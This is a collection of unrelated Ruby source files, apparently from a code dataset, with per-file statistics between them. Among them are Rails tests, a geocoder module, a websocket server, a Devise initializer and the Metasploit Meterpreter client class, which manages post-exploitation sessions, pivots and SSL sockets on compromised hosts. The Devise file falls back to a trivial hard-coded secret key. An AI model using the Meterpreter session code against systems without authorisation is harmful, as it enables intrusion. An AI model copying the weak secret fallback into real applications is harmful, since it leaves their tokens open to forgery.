['--src-file=/some/path.txt']) params = pvals.resolve(default_context, default_variables) assert_equal Pathname.new('/some/path.txt'), params['src-file'] end test "SrcFileParam (no value error)" do decls = wrap_decl SrcFileParam.new pvals = apply_values(decls, {}) assert_raise(ParameterError) { pvals.resolve(default_context, default_variables) } end # KeyValuePairsParam (3) test "KeyValuePairsParam (*.job)" do decls = wrap_decl KeyValuePairsParam.new('grant', 'KEY:VALUE', 'GRANT table after SQL is executed.') pvals = apply_values(decls, {'grant' => {'on'=>'tbl', 'to'=>'$user'}}) vars = ResolvedVariables.new vars.add ResolvedVariable.new('user', 'group gg') params = pvals.resolve(default_context, vars) assert_equal({'on'=>'tbl', 'to'=>'group gg'}, params['grant']) end test "KeyValuePairsParam (default value)" do decls = wrap_decl KeyValuePairsParam.new('grant', 'KEY:VALUE', 'GRANT table after SQL is executed.') pvals = apply_values(decls, {}) params = pvals.resolve(default_context, default_variables) assert_nil params['grant'] end # StringListParam (1) test "StringListParam (*.job)" do decls = wrap_decl StringListParam.new('args', 'ARG', 'Command line arguments.', publish: true) pvals = apply_values(decls, {'args' => ['a', '$basedir', 'c']}) vars = ResolvedVariables.new vars.add ResolvedVariable.new('basedir', '/base/dir') params = pvals.resolve(default_context, vars) assert_equal ['a', '/base/dir', 'c'], params['args'] assert_equal 'a /base/dir c', params.variables['args'] end test "StringListParam (missing value)" do decls = wrap_decl StringListParam.new('args', 'ARG', 'Command line arguments.') pvals = apply_values(decls, {}) assert_raise(ParameterError) { pvals.resolve(default_context, default_variables) } end end end
37.597015
119
0.659256
bba9be8fb7fa8853c3866ada9f7d63b8caa62555
161
class RemoveAdminUsers < ActiveRecord::Migration def change drop_table :admin_users if ActiveRecord::Base.connection.table_exists? 'admin_users' end end
26.833333
88
0.801242
21a55d84b4520812b0ecd544b521f107df26687c
920
module Grape module Util class InheritableValues attr_accessor :inherited_values attr_accessor :new_values def initialize(inherited_values = {}) self.inherited_values = inherited_values self.new_values = {} end def [](name) values[name] end def []=(name, value) new_values[name] = value end def delete(key) new_values.delete key end def merge(new_hash) values.merge(new_hash) end def keys (new_values.keys + inherited_values.keys).sort.uniq end def to_hash values.clone end def initialize_copy(other) super self.inherited_values = other.inherited_values self.new_values = other.new_values.deep_dup end protected def values @inherited_values.merge(@new_values) end end end end
18.4
59
0.596739
d573a9ed69d2e8df6e2630da335e8802d6d9e819
12,871
# -*- coding: binary -*- require 'socket' require 'openssl' require 'rex/post/channel' require 'rex/post/meterpreter/extension_mapper' require 'rex/post/meterpreter/client_core' require 'rex/post/meterpreter/channel' require 'rex/post/meterpreter/dependencies' require 'rex/post/meterpreter/object_aliases' require 'rex/post/meterpreter/packet' require 'rex/post/meterpreter/packet_parser' require 'rex/post/meterpreter/packet_dispatcher' require 'rex/post/meterpreter/pivot' require 'rex/post/meterpreter/pivot_container' module Rex module Post module Meterpreter # # Just to get it in there... # module Extensions end ### # # This class represents a logical meterpreter client class. This class # provides an interface that is compatible with the Rex post-exploitation # interface in terms of the feature set that it attempts to expose. This # class is meant to drive a single meterpreter client session. # ### class Client include Rex::Post::Channel::Container include Rex::Post::Meterpreter::PacketDispatcher include Rex::Post::Meterpreter::PivotContainer # # Extension name to class hash. # @@ext_hash = {} # # Cached auto-generated SSL certificate # @@ssl_cached_cert = nil # # Mutex to synchronize class-wide operations # @@ssl_mutex = ::Mutex.new # # Lookup the error that occurred # def self.lookup_error(code) code end # # Checks the extension hash to see if a class has already been associated # with the supplied extension name. # def self.check_ext_hash(name) @@ext_hash[name] end # # Stores the name to class association for the supplied extension name. # def self.set_ext_hash(name, klass) @@ext_hash[name] = klass end # # Initializes the client context with the supplied socket through # which communication with the server will be performed. # def initialize(sock, opts={}) init_meterpreter(sock, opts) end # # Cleans up the meterpreter instance, terminating the dispatcher thread. # def cleanup_meterpreter if self.pivot_session self.pivot_session.remove_pivot_session(self.session_guid) end self.pivot_sessions.keys.each do |k| pivot = self.pivot_sessions[k] pivot.pivoted_session.kill('Pivot closed') pivot.pivoted_session.shutdown_passive_dispatcher end unless self.skip_cleanup ext.aliases.each_value do | extension | extension.cleanup if extension.respond_to?( 'cleanup' ) end end dispatcher_thread.kill if dispatcher_thread unless self.skip_cleanup core.shutdown rescue nil end shutdown_passive_dispatcher shutdown_tlv_logging end # # Initializes the meterpreter client instance # def init_meterpreter(sock,opts={}) self.sock = sock self.parser = PacketParser.new self.ext = ObjectAliases.new self.ext_aliases = ObjectAliases.new self.alive = true self.target_id = opts[:target_id] self.capabilities = opts[:capabilities] || {} self.commands = [] self.last_checkin = ::Time.now self.conn_id = opts[:conn_id] self.url = opts[:url] self.ssl = opts[:ssl] self.pivot_session = opts[:pivot_session] if self.pivot_session self.expiration = self.pivot_session.expiration self.comm_timeout = self.pivot_session.comm_timeout self.retry_total = self.pivot_session.retry_total self.retry_wait = self.pivot_session.retry_wait else self.expiration = opts[:expiration] self.comm_timeout = opts[:comm_timeout] self.retry_total = opts[:retry_total] self.retry_wait = opts[:retry_wait] self.passive_dispatcher = opts[:passive_dispatcher] end self.response_timeout = opts[:timeout] || self.class.default_timeout self.send_keepalives = true # TODO: Clarify why we don't allow unicode to be set in initial options # self.encode_unicode = opts.has_key?(:encode_unicode) ? opts[:encode_unicode] : true self.encode_unicode = false self.aes_key = nil self.session_guid = opts[:session_guid] || "\x00" * 16 # The SSL certificate is being passed down as a file path if opts[:ssl_cert] if ! ::File.exist? opts[:ssl_cert] elog("SSL certificate at #{opts[:ssl_cert]} does not exist and will be ignored") else # Load the certificate the same way that SslTcpServer does it self.ssl_cert = ::File.read(opts[:ssl_cert]) end end # Use the debug build if specified self.debug_build = opts[:debug_build] # Protocol specific dispatch mixins go here, this may be neader with explicit Client classes opts[:dispatch_ext].each {|dx| self.extend(dx)} if opts[:dispatch_ext] initialize_passive_dispatcher if opts[:passive_dispatcher] register_extension_alias('core', ClientCore.new(self)) initialize_inbound_handlers initialize_channels initialize_pivots # Register the channel and pivot inbound packet handlers register_inbound_handler(Rex::Post::Meterpreter::Channel) register_inbound_handler(Rex::Post::Meterpreter::Pivot) monitor_socket end def swap_sock_plain_to_ssl # Create a new SSL session on the existing socket ctx = generate_ssl_context() ssl = OpenSSL::SSL::SSLSocket.new(sock, ctx) # Use non-blocking OpenSSL operations on Windows if !( ssl.respond_to?(:accept_nonblock) and Rex::Compat.is_windows ) ssl.accept else begin ssl.accept_nonblock # Ruby 1.8.7 and 1.9.0/1.9.1 uses a standard Errno rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK IO::select(nil, nil, nil, 0.10) retry # Ruby 1.9.2+ uses IO::WaitReadable/IO::WaitWritable rescue ::Exception => e if ::IO.const_defined?('WaitReadable') and e.kind_of?(::IO::WaitReadable) IO::select( [ ssl ], nil, nil, 0.10 ) retry end if ::IO.const_defined?('WaitWritable') and e.kind_of?(::IO::WaitWritable) IO::select( nil, [ ssl ], nil, 0.10 ) retry end raise e end end self.sock.extend(Rex::Socket::SslTcp) self.sock.sslsock = ssl self.sock.sslctx = ctx self.sock.sslhash = Rex::Text.sha1_raw(ctx.cert.to_der) tag = self.sock.get_once(-1, 30) if(not tag or tag !~ /^GET \//) raise RuntimeError, "Could not read the HTTP hello token" end end def swap_sock_ssl_to_plain # Remove references to the SSLSocket and Context self.sock.sslsock.close self.sock.sslsock = nil self.sock.sslctx = nil self.sock.sslhash = nil self.sock = self.sock.fd self.sock.extend(::Rex::Socket::Tcp) end def generate_ssl_context ctx = nil ssl_cert_info = nil loop do # Load a custom SSL certificate if one has been specified if self.ssl_cert wlog("Loading custom SSL certificate for Meterpreter session") ssl_cert_info = Rex::Socket::SslTcpServer.ssl_parse_pem(self.ssl_cert) wlog("Loaded custom SSL certificate for Meterpreter session") break end # Generate a certificate if necessary and cache it if ! @@ssl_cached_cert @@ssl_mutex.synchronize do wlog("Generating SSL certificate for Meterpreter sessions") @@ssl_cached_cert = Rex::Socket::SslTcpServer.ssl_generate_certificate wlog("Generated SSL certificate for Meterpreter sessions") end end # Use the cached certificate ssl_cert_info = @@ssl_cached_cert break end # Create a new context for each session ctx = OpenSSL::SSL::SSLContext.new() ctx.key = ssl_cert_info[0] ctx.cert = ssl_cert_info[1] ctx.extra_chain_cert = ssl_cert_info[2] ctx.options = 0 ctx.session_id_context = Rex::Text.rand_text(16) ctx end ## # # Accessors # ## # # Returns the default timeout that request packets will use when # waiting for a response. # def Client.default_timeout return 300 end ## # # Alias processor # ## # # Translates unhandled methods into registered extension aliases # if a matching extension alias exists for the supplied symbol. # def method_missing(symbol, *args) #$stdout.puts("method_missing: #{symbol}") self.ext_aliases.aliases[symbol.to_s] end ## # # Extension registration # ## # # Loads the client half of the supplied extension and initializes it as a # registered extension that can be reached through client.ext.[extension]. # def add_extension(name, commands=[]) self.commands.concat(commands) # Check to see if this extension has already been loaded. if ((klass = self.class.check_ext_hash(name.downcase)) == nil) klass = Rex::Post::Meterpreter::ExtensionMapper.get_extension_klass(name) # Save the module name to class association now that the code is # loaded. self.class.set_ext_hash(name.downcase, klass) end # Create a new instance of the extension inst = klass.new(self) self.ext.aliases[inst.name] = inst return true end # # Deregisters an extension alias of the supplied name. # def deregister_extension(name) self.ext.aliases.delete(name) end # # Enumerates all of the loaded extensions. # def each_extension(&block) self.ext.aliases.each(block) end # # Registers an aliased extension that can be referenced through # client.name. # def register_extension_alias(name, ext) self.ext_aliases.aliases[name] = ext # Whee! Syntactic sugar, where art thou? # # Create an instance method on this object called +name+ that returns # +ext+. We have to do it this way instead of simply # self.class.class_eval so that other meterpreter sessions don't get # extension methods when this one does (class << self; self; end).class_eval do define_method(name.to_sym) do ext end end ext end # # Registers zero or more aliases that are provided in an array. # def register_extension_aliases(aliases) aliases.each { |a| register_extension_alias(a['name'], a['ext']) } end # # Deregisters a previously registered extension alias. # def deregister_extension_alias(name) self.ext_aliases.aliases.delete(name) end # # Dumps the extension tree. # def dump_extension_tree() items = [] items.concat(self.ext.dump_alias_tree('client.ext')) items.concat(self.ext_aliases.dump_alias_tree('client')) return items.sort end # # Encodes (or not) a UTF-8 string # def unicode_filter_encode(str) self.encode_unicode ? Rex::Text.unicode_filter_encode(str) : str end # # Decodes (or not) a UTF-8 string # def unicode_filter_decode(str) self.encode_unicode ? Rex::Text.unicode_filter_decode(str) : str end # # The extension alias under which all extensions can be accessed by name. # For example: # # client.ext.stdapi # # attr_reader :ext # # The socket the client is communicating over. # attr_reader :sock # # The timeout value to use when waiting for responses. # attr_accessor :response_timeout # # Whether to send pings every so often to determine liveness. # attr_accessor :send_keepalives # # Whether this session is alive. If the socket is disconnected or broken, # this will be false # attr_accessor :alive # # The unique target identifier for this payload # attr_accessor :target_id # # The libraries available to this meterpreter server # attr_accessor :capabilities # # The Connection ID # attr_accessor :conn_id # # The Connect URL # attr_accessor :url # # Use SSL (HTTPS) # attr_accessor :ssl # # Use this SSL Certificate (unified PEM) # attr_accessor :ssl_cert # # The Session Expiration Timeout # attr_accessor :expiration # # The Communication Timeout # attr_accessor :comm_timeout # # The total time for retrying connections # attr_accessor :retry_total # # The time to wait between retry attempts # attr_accessor :retry_wait # # The Passive Dispatcher # attr_accessor :passive_dispatcher # # Reference to a session to pivot through # attr_accessor :pivot_session # # Flag indicating whether to hex-encode UTF-8 file names and other strings # attr_accessor :encode_unicode # # A list of the commands # attr_reader :commands # # The timestamp of the last received response # attr_accessor :last_checkin # # Whether or not to use a debug build for loaded extensions # attr_accessor :debug_build protected attr_accessor :parser, :ext_aliases # :nodoc: attr_writer :ext, :sock # :nodoc: attr_writer :commands # :nodoc: end end; end; end
25.040856
96
0.683474
b9ffade8d451bab62c8cffb292f1b29b3726db6b
1,768
# frozen_string_literal: true # Copyright (c) 2018 by Jiang Jinyang <[email protected]> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. require 'ciri/utils' module Ciri # Core extension module for convenient module CoreExt refine(String) do def hex Utils.hex(self) end def dehex Utils.dehex(self) end def keccak Utils.keccak(self) end def big_endian_decode Utils.big_endian_decode(self) end def pad_zero(size) self.rjust(size, "\x00".b) end end refine(Integer) do def ceil_div(size) Utils.ceil_div(self, size) end def big_endian_encode Utils.big_endian_encode(self) end end end end
27.625
79
0.707579
1a132029a228a4b2281e09f50076979c4d74b8fb
846
# frozen_string_literal: true module Alchemy module Admin module FormHelper # Use this form helper to render any form in Alchemy admin interface. # # This is simply a wrapper for `simple_form_for` # # == Defaults # # * It uses Alchemy::Forms::Builder as builder # * It makes a remote request, if the request was XHR request. # * It adds the alchemy class to form # def alchemy_form_for(object, *args, &block) options = args.extract_options! options[:builder] = Alchemy::Forms::Builder options[:remote] = request.xhr? options[:html] = { id: options.delete(:id), class: ["alchemy", options.delete(:class)].compact.join(" "), } simple_form_for(object, *(args << options), &block) end end end end
29.172414
75
0.599291
61275ee0ff2b57acf60e655c0306e743dc10672c
3,107
# frozen_string_literal: true require 'rails_helper' RSpec.describe SuperAdmin::OrgsController, type: :controller do before(:each) do @scheme = create(:identifier_scheme) tpt = create(:token_permission_type) @from_org = create(:org, :funder, templates: 1, plans: 2, managed: true, feedback_enabled: true, token_permission_types: [tpt]) create(:annotation, org: @from_org) create(:department, org: @from_org) gg = @from_org.guidance_groups.first if @from_org.guidance_groups.any? gg = create(:guidance_group, org: @from_org) unless gg.present? create(:guidance, guidance_group: gg) create(:identifier, identifiable: @from_org, identifier_scheme: nil) create(:identifier, identifiable: @from_org, identifier_scheme: @scheme) create(:plan, funder: @from_org) create(:tracker, org: @from_org) create(:user, org: @from_org) @from_org.reload @to_org = create(:org, :institution, plans: 2, managed: false) @user = create(:user, :super_admin) @controller = described_class.new sign_in(@user) end describe 'POST /super_admin/:id/merge_analyze', js: true do before(:each) do @params = { id: @from_org.id, # Send over the Org typehead json in the org.id field so the service can unpackage it org_autocomplete: { name: @to_org.name } } end it 'fails if user is not a super admin' do sign_in(create(:user)) post :merge_analyze, params: @params expect(response.code).to eql('302') expect(response).to redirect_to(plans_path) expect(flash[:alert].present?).to eql(true) end it 'succeeds in analyzing the Orgs' do post :merge_analyze, params: @params, format: :js expect(response.code).to eql('200') expect(assigns(:org)).to eql(@from_org) expect(assigns(:target_org)).to eql(@to_org) expect(response).to render_template(:merge_analyze) end end describe 'POST /super_admin/:id/merge_commit', js: true do context 'standard question type (no question_options and not RDA metadata)' do before(:each) do @params = { id: @from_org.id, org: { target_org: @to_org.id } } end it 'fails if user is not a super admin' do sign_in(create(:user)) post :merge_commit, params: @params expect(response.code).to eql('302') expect(response).to redirect_to(plans_path) expect(flash[:alert].present?).to eql(true) end it 'fails if :target_org is not found' do @params[:org][:target_org] = 9999 post :merge_commit, params: @params, format: :js expect(response.code).to eql('302') expect(response).to redirect_to(admin_edit_org_path(@from_org)) expect(flash[:alert].present?).to eql(true) end it 'succeeds and redirects properly' do post :merge_commit, params: @params, format: :js expect(response.code).to eql('302') expect(response).to redirect_to(super_admin_orgs_path) end end end end
36.988095
93
0.648536
79947cb27752fbf1e0ea25de425876f030e01fac
427
require 'rubygems' require 'sinatra' require File.join(File.dirname(__FILE__), "..", "..", "lib", "yauth") configure do enable :sessions #needed by warden end Yauth::Strategy.install! use Warden::Manager do |manager| manager.default_strategies :yauth_users manager.failure_app = Yauth::FailureApp.new end get '/' do # the configured user is "admin:admin" request.env['warden'].authenticate! "hello world\n" end
20.333333
69
0.723653
1c77b2241ca4e1b95e8d634df7a62e4e48c4e046
1,425
require 'spec_helper' class MemoryStore < Castle::TokenStore def initialize @value = nil end def session_token @value['_ubs'] end def session_token=(value) @value['_ubs'] = value end def trusted_device_token @value['_ubt'] end def trusted_device_token=(value) @value['_ubt'] = value end end describe 'Castle utils' do describe 'ContextHeaders middleware' do before do Castle::User.use_api(api = Her::API.new) @user = api.setup do |c| c.use Castle::Request::Middleware::ContextHeaders c.use Her::Middleware::FirstLevelParseJSON c.adapter :test do |stub| stub.post('/users') do |env| @env = env [200, {}, [].to_json] end end end end let(:env) do Rack::MockRequest.env_for('/', "HTTP_USER_AGENT" => "Mozilla", "REMOTE_ADDR" => "8.8.8.8") end it 'handles non-existing context headers' do Castle::User.create() end it 'sets context headers from env' do request = Rack::Request.new(Rack::MockRequest.env_for('/', "HTTP_USER_AGENT" => "Mozilla", "REMOTE_ADDR" => "8.8.8.8")) Castle::Client.new(request, session_store: MemoryStore.new) Castle::User.create() @env['request_headers']['X-Castle-Ip'].should == '8.8.8.8' @env['request_headers']['X-Castle-User-Agent'].should == 'Mozilla' end end end
23.75
72
0.605614
288e06153eefbd70b803ca3b2d5b66cb5c9e458c
156
class AddDetaillssToSearches < ActiveRecord::Migration def change add_column :searches, :lat, :float add_column :searches, :lon, :float end end
22.285714
54
0.737179
e256c52a2c82321683e3fcd7471ec2f521bc6e12
1,997
Aws.config[:elastictranscoder] = { stub_responses: { list_pipelines: { pipelines: [ { id: '12345678901234-a0bc4d', arn: 'arn:aws:elastictranscoder:ap-northeast-1:406412696610:pipeline/12345678901234-a0bc4d', name: 'my-elastictranscoder-pipeline', status: 'Active', input_bucket: 'ets-input-bucket-name', output_bucket: 'ets-output-bucket-name', role: 'arn:aws:iam::01234567890:role/Elastic_Transcoder_Default_Role', aws_kms_key_arn: nil, notifications: { progressing: '', completed: '', warning: '', error: '' }, content_config: { bucket: 'ets-output-bucket-name', storage_class: 'ReducedRedundancy', permissions: [] }, thumbnail_config: { bucket: 'ets-output-bucket-name', storage_class: 'ReducedRedundancy', permissions: [] } }, { id: '234567890123-9zyxv', arn: 'arn:aws:elastictranscoder:ap-northeast-1:406412696610:pipeline/234567890123-9zyxv', name: 'yet-another-my-slastictranscoder-pipeline', status: 'Active', input_bucket: 'ya-input-bucket-name', output_bucket: 'ya-output-bucket-name', role: 'arn:aws:iam::01234567890:role/Elastic_Transcoder_Default_Role', aws_kms_key_arn: nil, notifications: { progressing: '', completed: '', warning: '', error: '' }, content_config: { bucket: 'ya-output-bucket-name', storage_class: 'Standard', permissions: [] }, thumbnail_config: { bucket: 'ya-output-bucket-name', storage_class: 'Standard', permissions: [] } } ], next_page_token: nil } } }
31.203125
99
0.521282
037d92f326d13882f78c2afb22a53df4bbcfa8e4
22
module CageHelper end
7.333333
17
0.863636
089867d03224b02ca44646149e7cbac1690763cf
500
require 'pry' module GiftmojisHelper include Rails.application.routes.url_helpers def current_user user = User.find_by_id(session[:user_id]) end def giftmoji_gifted? if @giftmoji.message == "" || @giftmoji.message == nil false elsif @giftmoji.occasion == "" || @giftmoji.occasion == nil false else true end end def giftmoji_owner? current_user == @giftmoji.user end def no_owner? Giftmoji.any? { |u| u.user_id.nil? } end class << self end end
15.625
62
0.668
91e61ba1ea64007d4f825506976fcdcc325138c1
119
class AddUserIdToComment < ActiveRecord::Migration def change add_column :comments, :user_id, :integer end end
19.833333
50
0.764706
212a14618e1cc793eb11b9be3d0dbb6c8e6ce9ba
1,355
module Localization mattr_accessor :lang @@l10s = { :default => {} } @@lang = :default def self._(string_to_localize, *args) translated = @@l10s[@@lang][string_to_localize] || string_to_localize return translated.call(*args).to_s if translated.is_a? Proc if translated.is_a? Array translated = if translated.size == 3 translated[args[0]==0 ? 0 : (args[0]>1 ? 2 : 1)] else translated[args[0]>1 ? 1 : 0] end end sprintf translated, *args end def self.define(lang = :default) @@l10s[lang] ||= {} yield @@l10s[lang] end def self.load Dir.glob("#{RAILS_ROOT}/lang/*.rb"){ |t| require t } Dir.glob("#{RAILS_ROOT}/lang/custom/*.rb"){ |t| require t } end # Generates a best-estimate l10n file from all views by # collecting calls to _() -- note: use the generated file only # as a start (this method is only guesstimating) def self.generate_l10n_file "Localization.define('en_US') do |l|\n" << Dir.glob("#{RAILS_ROOT}/app/views/**/*.rhtml").collect do |f| ["# #{f}"] << File.read(f).scan(/<%.*[^\w]_\s*[\"\'](.*?)[\"\']/) end.uniq.flatten.collect do |g| g.starts_with?('#') ? "\n #{g}" : " l.store '#{g}', '#{g}'" end.uniq.join("\n") << "\nend" end end class Object def _(*args); Localization._(*args); end end
28.829787
73
0.584502
33969718c0d827d64f943b8099ca45ea8a58f35b
2,577
require "goon_model_gen" require "goon_model_gen/golang/type" require "goon_model_gen/golang/struct" require "goon_model_gen/golang/named_slice" require "goon_model_gen/golang/builtin" require "goon_model_gen/golang/modifier" module GoonModelGen module Golang class Field attr_reader :name, :type_name attr_reader :tags # Hash<string,Array[string]> ex. for datastore, validate, json, etc... attr_reader :goon_id # true/false attr_reader :type attr_accessor :struct attr_accessor :prepare_method attr_accessor :unique def initialize(name, type_name, tags, goon_id: false) @name, @type_name = name, type_name @tags = tags || {} @goon_id = goon_id end # @param pkgs [Packages] def resolve(pkgs) @type = pkgs.type_for(type_name) || raise("#{type_name.inspect} not found for #{struct.qualified_name}.#{name}") end def tags_string tags.keys.sort.map do |key| val = tags[key] vals = val.is_a?(Array) ? val.join(',') : val.to_s vals.empty? ? nil : "#{key}:\"#{vals}\"" end.compact.join(' ') end # @param pkg [Package] # @return [string] def definition_in(pkg) type_exp = (type.package.path == pkg.path) ? type.name : type.qualified_name "#{ name } #{ type_exp } `#{ tags_string }`" end def ptr? case type when Modifier then (type.prefix == "*") when Type then false else raise "Unsupported type class #{type.inspect}" end end def slice? case type when Modifier then (type.prefix == "[]") when NamedSlice then true when Type then false else raise "Unsupported type class #{type.inspect}" end end def struct? case type when Modifier then false when Struct then true when Type then false else raise "Unsupported type class #{type.inspect}" end end def value_ptr? case type when Modifier then return false unless type.prefix == '*' case type.target when Builtin then type.target.name != 'interface' else false end when Type then false else raise "Unsupported type class #{type.inspect}" end end # @param pkg2alias [Hash<String,String>] # @return [string] def short_desc(pkg2alias = nil) "#{name}: #{type.qualified_name(pkg2alias)}" end end end end
27.414894
120
0.590997
799ade8fdc882477f2547cf2cab86ab9cc9992e4
1,987
#require 'em-synchrony' #require 'em-synchrony/mysql2' #require 'em-synchrony/activerecord' require 'em-websocket' root = File.expand_path(File.dirname(__FILE__)) root = File.dirname(root) until File.exists?(File.join(root, 'config')) Dir.chdir(root) require 'socket' require File.join(root, 'config', 'environment') #db_config = Rails.configuration.database_configuration[Rails.env].merge( #'adapter' => 'em_mysql2' #) #ActiveRecord::Base.establish_connection(db_config) Rails.logger = logger = Logger.new STDOUT EM.error_handler do |e| logger.error "Error: #{e}" logger.error e.backtrace[0,20].join("\n") end EM.run do conn = AMQP.connect AMQPConfig.connect logger.info "Connected to AMQP broker." ch = AMQP::Channel.new conn ch.prefetch(1) config = {host: ENV['WEBSOCKET_HOST'], port: ENV['WEBSOCKET_PORT']} if ENV['WEBSOCKET_SSL_KEY'] && ENV['WEBSOCKET_SSL_CERT'] config[:secure] = true config[:tls_options] = { private_key_file: Rails.root.join(ENV['WEBSOCKET_SSL_KEY']).to_s, cert_chain_file: Rails.root.join(ENV['WEBSOCKET_SSL_CERT']).to_s } end EM::WebSocket.run(config) do |ws| logger.debug "New WebSocket connection: #{ws.inspect}" protocol = ::APIv2::WebSocketProtocol.new(ws, ch, logger) ws.onopen do if ws.pingable? port, ip = Socket.unpack_sockaddr_in(ws.get_peername) EM.add_periodic_timer 10 do ws.ping "#{ip}:#{port}" end ws.onpong do |message| logger.debug "pong: #{message}" end end protocol.challenge end ws.onmessage do |message| protocol.handle message end ws.onerror do |error| case error when EM::WebSocket::WebSocketError logger.info "WebSocket error: #{$!}" logger.info $!.backtrace[0,20].join("\n") logger.info $!.inspect else logger.info $! end end ws.onclose do logger.info "WebSocket closed" end end end
23.654762
73
0.657776
030d36255f8f9d59cfed22d9a63bf64a2ca66cb2
628
module Facebooker class Notifications include Model attr_accessor :messages, :group_invites, :pokes, :friend_requests, :event_invites, :shares [:Messages, :Pokes, :Shares].each do |notification_type| const_set(notification_type, Class.new do include Model attr_accessor :unread, :most_recent end) attribute_name = "#{notification_type.to_s.downcase}" define_method("#{attribute_name}=") do |value| instance_variable_set("@#{attribute_name}", value.kind_of?(Hash) ? Notifications.const_get(notification_type).from_hash(value) : value) end end end end
36.941176
143
0.700637
f7d10ca5be12ab6bca2d8373cb108f66df56bdb5
843
require File.join(File.dirname(__FILE__), "..", "lib", "staticmatic") describe StaticMatic::Base do before :all do @sample_site_path = File.dirname(__FILE__) + "/fixtures/sample" @staticmatic = StaticMatic::Base.new(@sample_site_path) end it "should render with layout" do output = @staticmatic.render_with_layout("hello_world.html") output.should include("My Sample Site") output.should include("Hello world!") end it "should render with layout specified in template" do output = @staticmatic.render_with_layout("specify_layout") output.should include("This is a Specified Layout") end it "should clean layout variable for next request" do output = @staticmatic.render_with_layout("specify_layout") @staticmatic.template.instance_variable_get("@layout").should be_nil end end
35.125
72
0.728351
ff39aa357ba34dde25359f2e57e9e9e29d902fb0
4,100
module Geocoder module Store module Base ## # Is this object geocoded? (Does it have latitude and longitude?) # def geocoded? to_coordinates.compact.size > 0 end ## # Coordinates [lat,lon] of the object. # def to_coordinates [:latitude, :longitude].map{ |i| send self.class.geocoder_options[i] } end ## # Calculate the distance from the object to an arbitrary point. # See Geocoder::Calculations.distance_between for ways of specifying # the point. Also takes a symbol specifying the units # (:mi or :km; can be specified in Geocoder configuration). # def distance_to(point, units = nil) units ||= self.class.geocoder_options[:units] return nil unless geocoded? Geocoder::Calculations.distance_between( to_coordinates, point, :units => units) end alias_method :distance_from, :distance_to ## # Calculate the bearing from the object to another point. # See Geocoder::Calculations.distance_between for # ways of specifying the point. # def bearing_to(point, options = {}) options[:method] ||= self.class.geocoder_options[:method] return nil unless geocoded? Geocoder::Calculations.bearing_between( to_coordinates, point, options) end ## # Calculate the bearing from another point to the object. # See Geocoder::Calculations.distance_between for # ways of specifying the point. # def bearing_from(point, options = {}) options[:method] ||= self.class.geocoder_options[:method] return nil unless geocoded? Geocoder::Calculations.bearing_between( point, to_coordinates, options) end ## # Get nearby geocoded objects. # Takes the same options hash as the near class method (scope). # Returns nil if the object is not geocoded. # def nearbys(radius = 20, options = {}) return nil unless geocoded? options.merge!(:exclude => self) unless send(self.class.primary_key).nil? self.class.near(self, radius, options) end ## # Look up coordinates and assign to +latitude+ and +longitude+ attributes # (or other as specified in +geocoded_by+). Returns coordinates (array). # def geocode fail end ## # Look up address and assign to +address+ attribute (or other as specified # in +reverse_geocoded_by+). Returns address (string). # def reverse_geocode fail end private # -------------------------------------------------------------- ## # Look up geographic data based on object attributes (configured in # geocoded_by or reverse_geocoded_by) and handle the results with the # block (given to geocoded_by or reverse_geocoded_by). The block is # given two-arguments: the object being geocoded and an array of # Geocoder::Result objects). # def do_lookup(reverse = false) options = self.class.geocoder_options if reverse and options[:reverse_geocode] query = to_coordinates elsif !reverse and options[:geocode] query = send(options[:user_address]) else return end query_options = [:lookup, :ip_lookup, :language].inject({}) do |hash, key| if options.has_key?(key) val = options[key] hash[key] = val.respond_to?(:call) ? val.call(self) : val end hash end results = Geocoder.search(query, query_options) # execute custom block, if specified in configuration block_key = reverse ? :reverse_block : :geocode_block if custom_block = options[block_key] custom_block.call(self, results) # else execute block passed directly to this method, # which generally performs the "auto-assigns" elsif block_given? yield(self, results) end end end end end
32.03125
82
0.610732
7afba42723834cd81154b0451b6c87e851a2d53a
12,823
# Use this hook to configure devise mailer, warden hooks and so forth. # Many of these configuration options can be set straight in your model. Devise.setup do |config| # The secret key used by Devise. Devise uses this key to generate # random tokens. Changing this key will render invalid all existing # confirmation, reset password and unlock tokens in the database. config.secret_key = ENV['DEVISE_SECRET_KEY'] || ('x' * 30) # ==> Mailer Configuration # Configure the e-mail address which will be shown in Devise::Mailer, # note that it will be overwritten if you use your own mailer class # with default "from" parameter. config.mailer_sender = '"Bridge Troll" <[email protected]>' # Configure the class responsible to send e-mails. # config.mailer = 'Devise::Mailer' # ==> ORM configuration # Load and configure the ORM. Supports :active_record (default) and # :mongoid (bson_ext recommended) by default. Other ORMs may be # available as additional gems. require 'devise/orm/active_record' # ==> Configuration for any authentication mechanism # Configure which keys are used when authenticating a user. The default is # just :email. You can configure it to use [:username, :subdomain], so for # authenticating a user, both parameters are required. Remember that those # parameters are used only when authenticating and not when retrieving from # session. If you need permissions, you should implement that in a before filter. # You can also supply a hash where the value is a boolean determining whether # or not authentication should be aborted when the value is not present. # config.authentication_keys = [ :email ] # Configure parameters from the request object used for authentication. Each entry # given should be a request method and it will automatically be passed to the # find_for_authentication method and considered in your model lookup. For instance, # if you set :request_keys to [:subdomain], :subdomain will be used on authentication. # The same considerations mentioned for authentication_keys also apply to request_keys. # config.request_keys = [] # Configure which authentication keys should be case-insensitive. # These keys will be downcased upon creating or modifying a user and when used # to authenticate or find a user. Default is :email. config.case_insensitive_keys = [ :email ] # Configure which authentication keys should have whitespace stripped. # These keys will have whitespace before and after removed upon creating or # modifying a user and when used to authenticate or find a user. Default is :email. config.strip_whitespace_keys = [ :email ] # Tell if authentication through request.params is enabled. True by default. # It can be set to an array that will enable params authentication only for the # given strategies, for example, `config.params_authenticatable = [:database]` will 